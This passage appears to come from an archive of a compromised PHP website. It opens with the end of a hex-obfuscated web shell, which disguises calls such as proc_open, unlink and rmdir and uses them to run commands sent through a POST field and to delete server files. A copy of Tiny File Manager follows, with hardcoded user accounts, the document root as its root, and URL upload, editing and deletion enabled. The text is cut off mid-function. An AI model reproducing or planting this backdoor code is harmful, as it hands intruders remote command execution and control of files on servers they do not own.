"\x3c\x73\143\x72\151\x70\164\x3e\141\x6c\x65\x72\164\x28\x27\123\x6f\155\x65\40\145\162\x72\157\x72\40\x6f\143\x63\165\x72\162\x65\x64\56\47\x29\73\x20\x77\x69\156\x64\157\167\56\154\x6f\143\141\x74\151\157\x6e\56\x72\145\160\154\x61\x63\145\x28\x27\77\x70\x3d" . $enp(PATH) . "\x27\51\x3b\74\57\x73\143\162\x69\x70\x74\76"; } fclose($open); } } } if(isset($_GET['d']) && isset($_GET['q'])) { $name=PATH."/".$_GET['d']; $uli = "\165\156\154" . "\x69\156\153"; $isf = "\x69\x73\137\146" . "\151\x6c\x65"; if($isf($name)){ if($uli($name)){ echo "\74\x73\143\x72\x69\x70\164\76\x61\x6c\145\162\x74\x28\47\106\x69\154\x65\x20\162\145\155\157\x76\145\x64\x2e\47\51\73\x20\x77\151\156\x64\157\x77\56\x6c\157\x63\x61\164\151\157\156\x2e\162\145\160\x6c\x61\143\145\x28\x27\x3f\x70\x3d" . $enp(PATH) . "\47\x29\x3b\x3c\x2f\x73\143\162\x69\x70\x74\x3e"; }else{ echo "\x3c\163\x63\162\x69\x70\x74\x3e\141\x6c\x65\x72\x74\x28\47\x53\x6f\x6d\x65\x20\x65\x72\162\157\x72\x20\157\143\x63\165\162\162\145\x64\56\47\x29\x3b\x20\167\151\156\144\x6f\x77\56\x6c\157\x63\x61\164\151\x6f\156\56\162\x65\x70\x6c\x61\x63\x65\50\47\77\x70\x3d" . $enp(PATH) . "\47\x29\x3b\74\x2f\x73\143\162\x69\160\164\x3e"; } }elseif($isd($name)){ $rd = "\162\155" . "\x64" . "\151\x72"; if($rd($name)==true){ echo "\74\163\x63\x72\151\160\x74\x3e\141\x6c\x65\x72\x74\x28\47\104\x69\162\145\x63\164\x6f\162\x79\x20\x72\145\x6d\x6f\x76\145\144\x2e\x27\x29\73\x20\x77\151\x6e\x64\x6f\x77\x2e\154\x6f\143\141\164\151\157\156\x2e\x72\145\x70\154\x61\x63\145\50\47\x3f\160\x3d" . $enp(PATH) . "\x27\x29\x3b\x3c\57\x73\143\162\151\x70\164\x3e"; }else{ echo "\74\x73\143\162\151\x70\x74\x3e\x61\x6c\x65\x72\164\x28\47\123\157\x6d\145\x20\145\x72\162\157\x72\40\x6f\x63\143\165\x72\x72\x65\x64\56\47\x29\x3b\40\167\x69\156\x64\x6f\x77\56\154\157\x63\141\x74\x69\x6f\x6e\x2e\x72\x65\x70\154\x61\143\x65\50\x27\77\160\x3d" . $enp(PATH) . "\x27\51\x3b\74\x2f\163\x63\x72\x69\160\x74\x3e"; } } } function ekse($coman) { $hch = "\x68\x74" . "\x6d\x6c\163\x70\145" . "\x63\151\141\x6c\x63" . "\150\x61\162\x73";$sgc = "\x73\164\x72\145" . "\141\x6d\137\x67" . "\145\x74\x5f\143\157\x6e" . "\164\x65\156\x74\163"; $ler = "\x32\76" . "\46\x31"; $pm = "\x70\x72\145" . "\x67\137\x6d\141" . "\x74\143\150"; if (!$pm("\57" . $ler . "\x2f\x69", $coman)) { $coman = $coman . "\40" . $ler; } $komen = $coman; $pr = "\x70\162\157" . "\143\137\157" . "\x70\145\x6e"; $fe = "\146\x75\156" . "\143\164\151" . "\157\156\x5f\x65\x78" . "\x69\163\x74\163";if ($fe($pr)) { $tod = @$pr($komen, array(0 => array("\x70\x69\160\145", "\162"), 1 => array("\160\151\160\145", "\x77"), 2 => array("\160\x69\160\145", "\x72")), $crottz, PATH); echo "\x3c\164\141\142\154\x65\x20\143\x6c\x61\x73\163\x3d\47\x74\141\x62\x6c\145\x20\164\141\142\154\x65\55\144\x61\x72\153\x27\x20\x73\x74\171\x6c\145\75\x27\x77\x69\x64\164\x68\72\67\x30\45\73\x62\x6f\x78\55\x73\x68\141\144\157\167\72\x20\x30\40\60\x20\65\160\170\x20\43\x30\x44\x39\67\x41\x35\47\40\141\154\151\147\156\x3d\47\x63\x65\156\164\x65\162\47\x3e\12\x20\x20\40\40\74\x74\x68\x65\x61\x64\40\163\x74\171\x6c\145\x3d\x27\x2d\55\142\x73\x2d\164\x61\142\154\145\x2d\142\x67\72\43\x30\x44\x39\67\101\65\73\55\55\x62\x73\x2d\164\x61\142\x6c\x65\x2d\x63\x6f\x6c\x6f\162\x3a\43\x30\x30\x30\x3b\x27\x3e\x3c\x74\162\x3e\74\x74\x68\x3e\12\40\40\x20\40\x43\x6f\155\x6d\141\156\144\40\x3a\x20\74\x66\x6f\x6e\x74\40\x63\157\x6c\157\x72\75\x27\43\x66\x66\146\47\76" . $_POST["\x6b\x6f\x6d\141\x6e"] . "\74\x2f\x66\157\x6e\x74\76\74\57\x74\150\x3e\74\57\164\162\76\x3c\x2f\164\150\x65\x61\144\x3e\74\x74\x64\x3e\xa\x20\40\40\40\74\160\x72\145\76\74\x74\x65\170\x74\141\x72\145\141\x20\x73\164\x79\154\145\75\x27\x68\x65\151\147\x68\164\x3a\x34\60\60\160\x78\73\167\151\144\x74\x68\x3a\40\61\x30\60\x25\x3b\143\157\x6c\157\x72\72\x20\154\151\x6d\145\73\x27\40\162\x65\x61\144\x6f\x6e\154\x79\x3e\xa\x20\40\40\40" . $hch($sgc($crottz[1])) . "\x3c\57\164\x65\x78\164\141\x72\145\141\76\74\57\160\x72\145\76\x3c\x2f\x74\144\76\x3c\57\x74\141\x62\154\145\x3e\x3c\142\162\x3e"; } else { echo "\74\x63\x65\156\x74\x65\x72\76\74\146\157\x6e\x74\x20\x63\157\154\157\162\75\47\157\162\x61\156\147\145\47\76\160\162\x6f" . "\143\x5f\157\x70\x65" . "\x6e\x20\x66\x75\156\x63\x74\151\x6f\156\x20\151\163\40\144\x69\x73" . "\141\142\154\x65\x64\41\x21\x3c\57\x66\157\x6e\164\76\x3c\x2f\x63\x65\x6e\x74\x65\x72\76"; } die; } function d7netstat($file){ $sb = "\x73\x75\142" . "\x73\164\x72";$sp = "\163\x70\x72" . "\151\156" . "\164\x66";$fp = "\146\x69\154" . "\x65\x70\x65" . "\x72\155\163"; $izin = $sb($sp('%o', $fp($file)), -4); return $izin; } ?> index.php000064400000670610151546551050006405 0ustar00 'Password', 'Username2' => 'Password2', ...) // Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html $auth_users = array( 'JOD' => '$2y$10$IKj1cNwmFrtoxt1/YEVmcetIdy6qTUh5WFPQzbFtnfNuOf2/KCnHm', 'joko' => '$2y$10$aIZrgI32OwUdTNxZFaKMoeYVpv5.6t6cX2kam0TlFD65CLZC33hPS', ); // Readonly users // e.g. array('users', 'guest', ...) $readonly_users = array( 'user' ); // Global readonly, including when auth is not being used $global_readonly = false; // user specific directories // array('Username' => 'Directory path', 'Username2' => 'Directory path', ...) $directories_users = array(); // Enable highlight.js (https://highlightjs.org/) on view's page $use_highlightjs = true; // highlight.js style // for dark theme use 'ir-black' $highlightjs_style = 'vs'; // Enable ace.js (https://ace.c9.io/) on view's page $edit_files = true; // Default timezone for date() and time() // Doc - http://php.net/manual/en/timezones.php $default_timezone = 'Etc/UTC'; // UTC // Root path for file manager // use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder' //make sure update $root_url in next section $root_path = $_SERVER['DOCUMENT_ROOT']; // Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder' // Will not working if $root_path will be outside of server document root $root_url = ''; // Server hostname. Can set manually if wrong // $_SERVER['HTTP_HOST'].'/folder' $http_host = $_SERVER['HTTP_HOST']; // input encoding for iconv $iconv_input_encoding = 'UTF-8'; // date() format for file modification date // Doc - https://www.php.net/manual/en/function.date.php $datetime_format = 'm/d/Y g:i A'; // Path display mode when viewing file information // 'full' => show full path // 'relative' => show path relative to root_path // 'host' => show path on the host $path_display_mode = 'full'; // Allowed file extensions for create and rename files // e.g. 'txt,html,css,js' $allowed_file_extensions = ''; // Allowed file extensions for upload files // e.g. 'gif,png,jpg,html,txt' $allowed_upload_extensions = ''; // Favicon path. This can be either a full url to an .PNG image, or a path based on the document root. // full path, e.g http://example.com/favicon.png // local path, e.g images/icons/favicon.png $favicon_path = ''; // Files and folders to excluded from listing // e.g. array('myfile.html', 'personal-folder', '*.php', '/path/to/folder', ...) $exclude_items = array(); // Online office Docs Viewer // Available rules are 'google', 'microsoft' or false // Google => View documents using Google Docs Viewer // Microsoft => View documents using Microsoft Web Apps Viewer // false => disable online doc viewer $online_viewer = 'google'; // Sticky Nav bar // true => enable sticky header // false => disable sticky header $sticky_navbar = true; // Maximum file upload size // Increase the following values in php.ini to work properly // memory_limit, upload_max_filesize, post_max_size $max_upload_size_bytes = 5000000000; // size 5,000,000,000 bytes (~5GB) // chunk size used for upload // eg. decrease to 1MB if nginx reports problem 413 entity too large $upload_chunk_size_bytes = 2000000; // chunk size 2,000,000 bytes (~2MB) // Possible rules are 'OFF', 'AND' or 'OR' // OFF => Don't check connection IP, defaults to OFF // AND => Connection must be on the whitelist, and not on the blacklist // OR => Connection must be on the whitelist, or not on the blacklist $ip_ruleset = 'OFF'; // Should users be notified of their block? $ip_silent = true; // IP-addresses, both ipv4 and ipv6 $ip_whitelist = array( '127.0.0.1', // local ipv4 '::1' // local ipv6 ); // IP-addresses, both ipv4 and ipv6 $ip_blacklist = array( '0.0.0.0', // non-routable meta ipv4 '::' // non-routable meta ipv6 ); // if User has the external config file, try to use it to override the default config above [config.php] // sample config - https://tinyfilemanager.github.io/config-sample.txt $config_file = __DIR__ . '/config.php'; if (is_readable($config_file)) { @include($config_file); } // External CDN resources that can be used in the HTML (replace for GDPR compliance) $external = array( 'css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => '' ); // --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL --- // max upload file size define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); // upload chunk size define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); // private key and session name to store to the session if (!defined('FM_SESSION_ID')) { define('FM_SESSION_ID', 'filemanager'); } // Configuration $cfg = new FM_Config(); // Default language $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; // Show or hide files and folders that starts with a dot $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; // PHP error reporting - false = Turns off Errors, true = Turns on Errors $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; // Hide Permissions and Owner cols in file-listing $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); //available languages $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } // if fm included if (defined('FM_EMBED')) { $use_auth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); // Prevent logout issue after page was cached session_name(FM_SESSION_ID); function session_error_handling_function($code, $msg, $file, $line) { // Permission denied for default session, try to create a new one if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } //Generating CSRF Token if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $use_auth = false; } $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; // update $root_url based on user specific directories if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url . $wd . DIRECTORY_SEPARATOR . $directories_users[$_SESSION[FM_SESSION_ID]['logged']]; } // clean $root_url $root_url = fm_clean_path($root_url); // abs path for site defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[FM_SESSION_ID]['logged']); unset($_SESSION['token']); fm_redirect(FM_SELF_URL); } // Validate connection IP if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; } else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; } else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; } else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if ($ip_ruleset == 'AND') { if ($whitelisted == true && $blacklisted == false) { $proceed = true; } } else if ($ip_ruleset == 'OR') { if ($whitelisted == true || $blacklisted == false) { $proceed = true; } } if ($proceed == false) { trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if ($ip_silent == false) { fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } // Checking if the user is logged in or not. If not, it will show the login form. if ($use_auth) { if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) { // Logged } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { // Logging In sleep(1); if (function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) && verifyToken($_POST['token'])) { $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[FM_SESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[FM_SESSION_ID]['logged']); fm_show_header_login(); ?>
    " . lng('Root path') . " \"{$root_path}\" " . lng('not found!') . " "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); // always use ?p= if (!isset($_GET['p']) && empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); // for ajax request - save $input = file_get_contents('php://input'); $_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; // instead globals vars define('FM_PATH', $p); define('FM_USE_AUTH', $use_auth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); /*************************** ACTIONS ***************************/ // Handle all AJAX Request if ((isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']]) || !FM_USE_AUTH) && isset($_POST['ajax'], $_POST['token']) && !FM_READONLY) { if (!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } //search : get list of files from the current folder if (isset($_POST['type']) && $_POST['type'] == "search") { $dir = $_POST['path'] == "." ? '' : $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) && $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false) { header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } // backup files if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) && $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) && $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if (isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback($message) { global $callback; echo json_encode($message); } function get_file_path() { global $path, $fileinfo, $temp_file; return $path . "/" . basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; //prevent 127.* domain and known ports $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if (!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } // Delete file / folder if (isset($_GET['del'], $_POST['token']) && !FM_READONLY) { $del = str_replace('/', '', fm_clean_path($_GET['del'])); if ($del != '' && $del != '..' && $del != '.' && verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder') . ' %s ' . lng('Deleted') : lng('File') . ' %s ' . lng('Deleted'); fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? lng('Folder') . ' %s ' . lng('not deleted') : lng('File') . ' %s ' . lng('not deleted'); fm_set_msg(sprintf($msg, fm_enc($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) && !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace('/', '', fm_clean_path(strip_tags($_POST['newfilename']))); if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.' && verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if (fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File') . ' %s ' . lng('Created'), fm_enc($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File') . ' %s ' . lng('already exists'), fm_enc($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder') . ' %s ' . lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder') . ' %s ' . lng('already exists'), fm_enc($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder') . ' %s ' . lng('not created'), fm_enc($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // abs path from $from = FM_ROOT_PATH . '/' . $copy; // abs path to $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); // move? $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); // copy/move/duplicate if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { // Move and to != from so just perform move $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from') . ' %s ' . lng('to') . ' %s', fm_enc($copy), fm_enc($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from') . ' %s ' . lng('to') . ' %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } else { // Not move and to != from so copy with original name if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from') . ' %s ' . lng('to') . ' %s', fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from') . ' %s ' . lng('to') . ' %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } } else { if (!$move) { //Not move and to = from so duplicate $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if (!is_dir($from)) { $extension_suffix = '.' . $fn_parts['extension']; } //Create new name for duplicate $fn_duplicate = $fn_parts['dirname'] . '/' . $fn_parts['filename'] . '-' . date('YmdHis') . $extension_suffix; $loop_count = 0; $max_loop = 1000; // Check if a file with the duplicate name already exists, if so, make new name (edge case...) while (file_exists($fn_duplicate) & $loop_count < $max_loop) { $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'] . '/' . $fn_parts['filename'] . '-copy' . $extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fm_enc($copy), fm_enc($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fm_enc($copy), fm_enc($fn_duplicate)), 'error'); } } else { fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Mass copy files/ folders if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) && !FM_READONLY) { if (!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); // abs path from $from = $path . '/' . $f; // abs path to $dest = $copy_to_path . '/' . $f; // do if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) && !FM_READONLY) { if (!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) && $old != '' && $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { 